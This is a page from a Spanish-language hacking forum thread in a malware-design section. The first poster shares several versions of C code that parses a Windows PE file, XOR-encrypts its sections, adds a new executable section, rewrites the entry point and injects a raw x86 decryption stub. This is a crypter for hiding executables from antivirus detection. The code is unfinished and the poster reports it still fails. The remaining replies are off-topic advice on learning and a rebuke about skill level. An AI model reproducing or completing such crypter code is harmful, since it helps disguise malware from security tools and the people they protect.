elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
22 Mayo 2012, 22:13  


Tema destacado: Nueva página de elhacker.net en Google+ Google+

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  Direccion sección
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: Direccion sección  (Leído 2,683 veces)
soez

Desconectado Desconectado

Mensajes: 50



Ver Perfil
Re: Direccion sección
« Respuesta #15 en: 9 Agosto 2010, 20:04 »

Bueno ya he hecho avances, nose si la parte de la encryptacion esta bien.

Código
PIMAGE_DOS_HEADER IDH;
                   PIMAGE_NT_HEADERS INTH;
                   PIMAGE_SECTION_HEADER ISH;
                   //Direccion DOS
                   //Manejador
                   HANDLE hFile;
                   //Escribimos variables
                   DWORD dwTamArchivo, dwNumeroBytesLeidos;
                   //Abrimos el archivo
                   hFile = CreateFileA(szArchivo,GENERIC_READ+GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);
                   //Obtenemos el tamaño del archivo y los pasa a bytes
                   dwTamArchivo = GetFileSize(hFile,0);
                   //Creamos un buffer que contendrá el contenido del archivo en bytes
                   LPSTR lpBuffer = (LPSTR)GlobalAlloc(GPTR, dwTamArchivo);
                   //Metemos el archivo en lpBuffer
                   ReadFile(hFile, lpBuffer, dwTamArchivo, &dwNumeroBytesLeidos,0);
                   //Cogemos direccion del DOS
                   IDH=(PIMAGE_DOS_HEADER)&lpBuffer[0];
                   //Cogemos la direccion donde empieza el PE
                   INTH=(PIMAGE_NT_HEADERS)&lpBuffer[IDH->e_lfanew];
 
                   for(DWORD i=1; i<INTH->FileHeader.NumberOfSections; i++)
                   {
                       MessageBoxA(0, "He entrao en el for","",0);
                       //Cogemos la direccion de la sección
                       ISH=(PIMAGE_SECTION_HEADER)&lpBuffer[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
                       //Ciframos o desciframos con XOR ^ 250
                       for(DWORD j=ISH->PointerToRawData; j<ISH->PointerToRawData+ISH->SizeOfRawData; j++){
                       lpBuffer[j]^=250;}
                       //Nos colocamos al principio del fichero
                       SetFilePointer(hFile, 0, 0, FILE_BEGIN);
                       //Sobreescribimos los nuevos carácteres
                       WriteFile(hFile, lpBuffer, dwTamArchivo, &dwNumeroBytesLeidos,0);
                   }//for i
                   //ciframos
                   //Cerramos el fichero
                   CloseHandle(hFile);
 

PD. No tengo nada en contra de [zero]

EDITO: Me falta escribir la parte de la nueva sección

Código
//Variables cabecera
                   PIMAGE_DOS_HEADER IDH;
                   PIMAGE_NT_HEADERS INTH;
                   PIMAGE_SECTION_HEADER ISH;
                   //Direccion DOS
                   //Manejador
                   HANDLE hFile;
                   //Escribimos variables
                   DWORD dwTamArchivo, dwNumeroBytesLeidos;
                   DWORD NuevaSeccion=0x200;
                   //Abrimos el archivo
                   hFile = CreateFileA(szArchivo,GENERIC_READ+GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);
                   //Obtenemos el tamaño del archivo y los pasa a bytes
                   dwTamArchivo = GetFileSize(hFile,0);
                   //Creamos un buffer que contendrá el contenido del archivo en bytes
                   LPSTR lpBuffer = (LPSTR)GlobalAlloc(GPTR, dwTamArchivo);
                   //Buffer para arrastrar el PE
                   LPSTR lpTemporal = (LPSTR)GlobalAlloc(GPTR, dwTamArchivo + NuevaSeccion);
                   //Metemos el archivo en lpBuffer
                   ReadFile(hFile, lpBuffer, dwTamArchivo, &dwNumeroBytesLeidos,0);
                   //Copiamos el contenido del inicial al temporal
                   CopyMemory(&lpTemporal[0],&lpBuffer[0], dwTamArchivo);
                   //Rellenamos con ceros la nueva sección
                   memset(&lpTemporal[dwTamArchivo], '\x90', NuevaSeccion);
                   //Cogemos direccion del DOS
                   IDH=(PIMAGE_DOS_HEADER)&lpTemporal[0];
                   //Cogemos la direccion donde empieza el PE
                   INTH=(PIMAGE_NT_HEADERS)&lpTemporal[IDH->e_lfanew];
                   //Ajustamos el VirtualSize de las Secciones
                   for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++){
                       ISH=(PIMAGE_SECTION_HEADER)&lpTemporal[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
                       ISH->Misc.VirtualSize=ISH->SizeOfRawData;
                   }
                   //Ajusatmos i al numero de secciones
                   DWORD i=INTH->FileHeader.NumberOfSections-1;
                   //Copiamos el contenido 40 bytes antes
                   CopyMemory(&lpTemporal[IDH->e_lfanew-0x28],&lpBuffer[IDH->e_lfanew],sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i);
                   //rellenamos con nops
                   memset(&lpTemporal[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i],'\x90', 0x28);
                   //Nos dirigiemos a la nueva sección
                   IDH->e_lfanew=IDH->e_lfanew-0x28;
                   INTH=(PIMAGE_NT_HEADERS)&lpTemporal[IDH->e_lfanew];
                   //Creamos los valores a la nueva sección
                   ISH=(PIMAGE_SECTION_HEADER)&lpTemporal[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
                   BYTE NuevoNombre[7]=".nueva";
                   CopyMemory(ISH->Name, NuevoNombre, 7);
                   ISH->SizeOfRawData=NuevaSeccion;
                   ISH->PointerToRawData=dwTamArchivo;
                   ISH->Characteristics=0xE0000020;
                   ISH->VirtualAddress=ISH->VirtualAddress+INTH->OptionalHeader.SectionAlignment;
                   ISH->Misc.VirtualSize=NuevaSeccion;
                   //Ajustamos OptionalHeader sections
                   INTH->FileHeader.NumberOfSections+=1;
                   //Ajustamos el tamaño del archivo
                   INTH->OptionalHeader.SizeOfImage=INTH->OptionalHeader.SizeOfImage + ISH->Misc.VirtualSize;
                   //Cogemos el actual EntryPoint
                   DWORD EntryP=INTH->OptionalHeader.ImageBase + INTH->OptionalHeader.AddressOfEntryPoint;
                   //Actualizamos el nuevo EntryPoint
                   INTH->OptionalHeader.AddressOfEntryPoint=INTH->OptionalHeader.ImageBase + ISH->VirtualAddress ;
                   for(DWORD i=0; i<INTH->FileHeader.NumberOfSections-1; i++)
                   {
                       if((ISH->Characteristics&0xE0000020)==0xE0000020){
                       //Cogemos la direccion de la sección
                       ISH=(PIMAGE_SECTION_HEADER)&lpTemporal[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
                       //Cogemos inicio y fin de la sección
                       DWORD inicio=ISH->PointerToRawData;
                       DWORD fin=ISH->PointerToRawData + ISH->SizeOfRawData;
                       //Encryptamos
                       while(inicio<fin){lpBuffer[inicio]^=250;inicio++;}
                       }
                   }//for i
                   //Escribimos en la nueva sección
                   LPSTR lpFinal = (LPSTR)GlobalAlloc(GPTR, 0x15);
                   lpFinal="\x68\x00\x00\x00\x00"
 
                           "\xc3";
 
                   //Copiamos el contenido al final del archivo
                   CopyMemory(&lpTemporal[dwTamArchivo],&lpFinal[0], 0x15);
                   //Nos colocamos al principio del fichero
                   SetFilePointer(hFile, 0, 0, FILE_BEGIN);
                   //Sobreescribimos los nuevos carácteres
                   WriteFile(hFile, lpTemporal, dwTamArchivo + NuevaSeccion, &dwNumeroBytesLeidos,0);
                   //Cerramos el fichero
                   CloseHandle(hFile);
 

EDITO: Bueno lo ultimo, hay algun dato que falla

Código
//Variables cabecera
                   PIMAGE_DOS_HEADER IDH;
                   PIMAGE_NT_HEADERS INTH;
                   PIMAGE_SECTION_HEADER ISH;
                   //Manejador
                   HANDLE hFile;
                   HANDLE FileMaped;
                   //Escribimos variables
                   DWORD dwTamArchivo, dwNumeroBytesLeidos;
                   DWORD NuevaSeccion;
                   //Abrimos el archivo
                   hFile = CreateFileA(szArchivo,GENERIC_READ+GENERIC_WRITE,FILE_SHARE_WRITE+FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
                   //Obtenemos el tamaño del archivo y los pasa a bytes
                   dwTamArchivo = GetFileSize(hFile,0);
                   //Mappeamos el archivo
                   FileMaped=CreateFileMapping (hFile, 0, PAGE_READWRITE, 0, 0, 0);
                   //Creamos un buffer que contendrá el archivo mappeado
                   LPSTR lpBuffer=(LPSTR)GlobalAlloc(GPTR, dwTamArchivo);
                   lpBuffer=(LPSTR)MapViewOfFile(FileMaped,FILE_MAP_ALL_ACCESS,0,0,0);
                   CloseHandle(FileMaped);
                   //Cogemos direccion del DOS
                   IDH=(PIMAGE_DOS_HEADER)&lpBuffer[0];
                   //Cogemos la direccion donde empieza el PE
                   INTH=(PIMAGE_NT_HEADERS)&lpBuffer[IDH->e_lfanew];
                   //Cogemos tamaño de la nueva sección
                   NuevaSeccion=INTH->OptionalHeader.FileAlignment;
                   //Buffer para arrastrar el PE
                   LPSTR lpTemporal = (LPSTR)GlobalAlloc(GPTR, dwTamArchivo + NuevaSeccion);
                   //Copiamos el contenido del archivo mappeado al temporal
                   CopyMemory(&lpTemporal[0], &lpBuffer[0], dwTamArchivo);
                   //Cogemos direccion del DOS
                   IDH=(PIMAGE_DOS_HEADER)&lpTemporal[0];
                   //Cogemos la direccion donde empieza el PE
                   INTH=(PIMAGE_NT_HEADERS)&lpTemporal[IDH->e_lfanew];
                   //Rellenamos con ceros la nueva sección
                   memset(&lpTemporal[dwTamArchivo], 0x00, NuevaSeccion);
                   //Ajustamos el VirtualSize de las Secciones
                   for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++){
                       ISH=(PIMAGE_SECTION_HEADER)&lpBuffer[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
                       ISH->Misc.VirtualSize=ISH->SizeOfRawData;
                   }
                   //Ajusatmos i al numero de secciones
                   DWORD i=INTH->FileHeader.NumberOfSections;
                   //Cogemos el antiguo VirtualAddress
                   ISH=(PIMAGE_SECTION_HEADER)&lpBuffer[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*(i-1)];
                   DWORD UltimoVirtualAddress=ISH->VirtualAddress;
                   DWORD UltimoPointToRawData=ISH->PointerToRawData;
                   DWORD UltimoSizeOfRawData=ISH->SizeOfRawData;
                   //Movemos el PE el contenido 40 bytes antes
                   CopyMemory(&lpTemporal[IDH->e_lfanew-0x28],&lpBuffer[IDH->e_lfanew],sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i);
                   //rellenamos con ceros
                   memset(&lpTemporal[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*(i-1)],0x00, 0x28);
                   //Recolocamos la direccion del PE
                   IDH->e_lfanew=IDH->e_lfanew-0x28;
                   //Nos dirigiemos a la nueva sección
                   INTH=(PIMAGE_NT_HEADERS)&lpTemporal[IDH->e_lfanew];
                   //Nos colocamos en la ultima sección
                   ISH=(PIMAGE_SECTION_HEADER)&lpTemporal[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
                   BYTE NuevoNombre[8]=".nueva";
                   CopyMemory(ISH->Name, NuevoNombre, 8);
                   ISH->Misc.VirtualSize=NuevaSeccion;
                   ISH->VirtualAddress=UltimoVirtualAddress+INTH->OptionalHeader.SectionAlignment;
                   ISH->SizeOfRawData=NuevaSeccion;
                   ISH->PointerToRawData=UltimoPointToRawData+UltimoSizeOfRawData;
                   ISH->Characteristics=0xE0000020;
                   //Ajustamos OptionalHeader sections
                   INTH->FileHeader.NumberOfSections++;
                   INTH->OptionalHeader.SizeOfImage=ISH->VirtualAddress+INTH->OptionalHeader.SectionAlignment;
                   //Cogemos el actual EntryPoint
                   DWORD EntryP=INTH->OptionalHeader.ImageBase + INTH->OptionalHeader.AddressOfEntryPoint;
                   //Actualizamos el nuevo EntryPoint
                   //INTH->OptionalHeader.AddressOfEntryPoint=UltimoPointToRawData+UltimoSizeOfRawData;
                   //Declaramos variables para coger secciones
                   DWORD cont;
                   for(DWORD i=0; i<INTH->FileHeader.NumberOfSections-1; i++)
                   {
                       //Cogemos la direccion de la sección
                       ISH=(PIMAGE_SECTION_HEADER)&lpTemporal[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
                       if(ISH->Characteristics==0x20000020){
                           cont=i; MessageBoxA(0, "for","",0);
                           //Cogemos inicio y fin de la sección
                           DWORD inicio=ISH->VirtualAddress;
                           DWORD fin=ISH->VirtualAddress + ISH->SizeOfRawData;
                           //Encryptamos
                           while(inicio<fin){lpTemporal[inicio]^=250;inicio++;}
                       }
                   }//for i
                   //Escribimos en la nueva sección
                   ISH=(PIMAGE_SECTION_HEADER)&lpTemporal[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*0];
                   DWORD ini=INTH->OptionalHeader.ImageBase + ISH->VirtualAddress;
                   ISH=(PIMAGE_SECTION_HEADER)&lpTemporal[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*0];
                   DWORD fini=INTH->OptionalHeader.ImageBase + ISH->VirtualAddress + ISH->SizeOfRawData;
                   //Creamos la sección para desencryptar
                   BYTE retorno[]={0x68,0x00,0x00,0x00,0x00,0x68,0x00,0x00,0x00,0x00,0x68,0x00,0x00,0x00,0x00,0x5B,0x58,0x59,0x80,0x30,0xFA,0x40,0x3B,0xC3,0x75,0xF8,0xFF,0xE1};
                   *(DWORD *)&retorno[0x01]=EntryP;
                   *(DWORD *)&retorno[0x06]=ini;
                   *(DWORD *)&retorno[0x0B]=fini;
                   //Introducimos el descifrado
                   CopyMemory(&lpTemporal[UltimoPointToRawData+UltimoSizeOfRawData], (PVOID)retorno, 0x20);
                   //Nos colocamos al principio del fichero
                   SetFilePointer(hFile, 0, 0, FILE_BEGIN);
                   //Sobreescribimos los nuevos carácteres
                   WriteFile(hFile, &lpTemporal[0], dwTamArchivo+NuevaSeccion, &dwNumeroBytesLeidos,0);
                   //Cerramos el fichero
                   CloseHandle(hFile);
                   //Liberamos memoria
                   GlobalFree(lpTemporal);
                   GlobalFree(lpBuffer);
 
« Última modificación: 14 Agosto 2010, 12:03 por soez » En línea

01001010 01100001 01110110 01101001 01100101 01110010
Jeferi


Desconectado Desconectado

Mensajes: 836


I always tell the truth.... even when I lie....


Ver Perfil WWW
Re: Direccion sección
« Respuesta #16 en: 16 Agosto 2010, 02:50 »

No tengo NI IDEA del formato PE. Pero tienes razon.


Es como el que dice.

Necesito hacer un login en PHP! > Estudia PHP

Si perfecto.

Pero porque no decir.

Mira pues yo sabiendo sobre programacion te diria estructurar antes el sistema. Haras un sistema en 3 fases. Fase 1 , 2 y 3.

Fase 1. Introducir los datos. Se hara en form.html..


Fase 2. Recibir y comprobar datos... como haremos esto? facil:

<? codigo ?>

hacemos $user=$_POST[user] para....

AHORA estudiate eso.

Os aseguro que el tio ha entendido mas que cuando se lee y estudia un tutorial de PHP. La experiencia y practica en manos de expertos, hace que se haga facil y sencillo transferir o traducir los conocimientos a la teoria, en vez de la teoria de un novato sin haber aplicado la practica. Eso esta clarisimo.

Seguro que de chico cuando bebe aprendias de tus padres y no de otros bebes con los que te juntabas.



No aprende mas el que estudia, sino el que mas pregunta y se lo estudia amigos

Un saludo

PD: Lo siento por hacer este offtopic y por no contestar a tu pregunta, pero no tengo ni idea de PE XD
« Última modificación: 16 Agosto 2010, 02:54 por Jeferi » En línea

There's no true, without a lie
soez

Desconectado Desconectado

Mensajes: 50



Ver Perfil
Re: Direccion sección
« Respuesta #17 en: 16 Agosto 2010, 03:03 »

jeje no pasa nada, y llevas razon en lo que dices. Saludos bro ;)
En línea

01001010 01100001 01110110 01101001 01100101 01110010
[L]ord [R]NA


Desconectado Desconectado

Mensajes: 1.507


El Dictador y Verdugo de H-Sec


Ver Perfil WWW
Re: Direccion sección
« Respuesta #18 en: 16 Agosto 2010, 03:46 »

No existen caminos cortos, se debe aprender todo porque no sabes cuando lo necesitaras.
En línea

bizco


Desconectado Desconectado

Mensajes: 698


Ver Perfil
Re: Direccion sección
« Respuesta #19 en: 16 Agosto 2010, 04:02 »

No entiendo pq hay que explicar algo que esta documentado y no poco.

Aparte de esto, por otras preguntas relacionadas un dia atras se le ve verde en otros campos que son necesarios. bajo mi punto de vista despues del 1 el 2 de toda la vida.
En línea
soez

Desconectado Desconectado

Mensajes: 50



Ver Perfil
Re: Direccion sección
« Respuesta #20 en: 16 Agosto 2010, 23:53 »

No entiendo pq hay que explicar algo que esta documentado y no poco.

Aparte de esto, por otras preguntas relacionadas un dia atras se le ve verde en otros campos que son necesarios. bajo mi punto de vista despues del 1 el 2 de toda la vida.

Y cuales son esos puntos, porque no he recibido ninguna ayuda, todo lo que esta en el foro esta remirado, incluso fuera de el, lo que no puedo hacer es darme palizas estudiandolo.
En línea

01001010 01100001 01110110 01101001 01100101 01110010
bizco


Desconectado Desconectado

Mensajes: 698


Ver Perfil
Re: Direccion sección
« Respuesta #21 en: 16 Agosto 2010, 23:58 »

http://foro.elhacker.net/analisis_y_diseno_de_malware/leer_direccion_que_hay_en_la_posicion_3c_con_el_editor_hex-t301714.0.html;msg1496025#msg1496025 ahi mismo, es decir aparentas no tener concepto alguno sobre punteros y el otro dia ya quieres manejar un fichero PE.

Citar
lo que no puedo hacer es darme palizas estudiandolo.

lo que no se puede hacer es correr antes de andar. y tema terminado, si te parece mal los conejos que se te dieron contacta con un administrador y que el decida.
En línea
Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines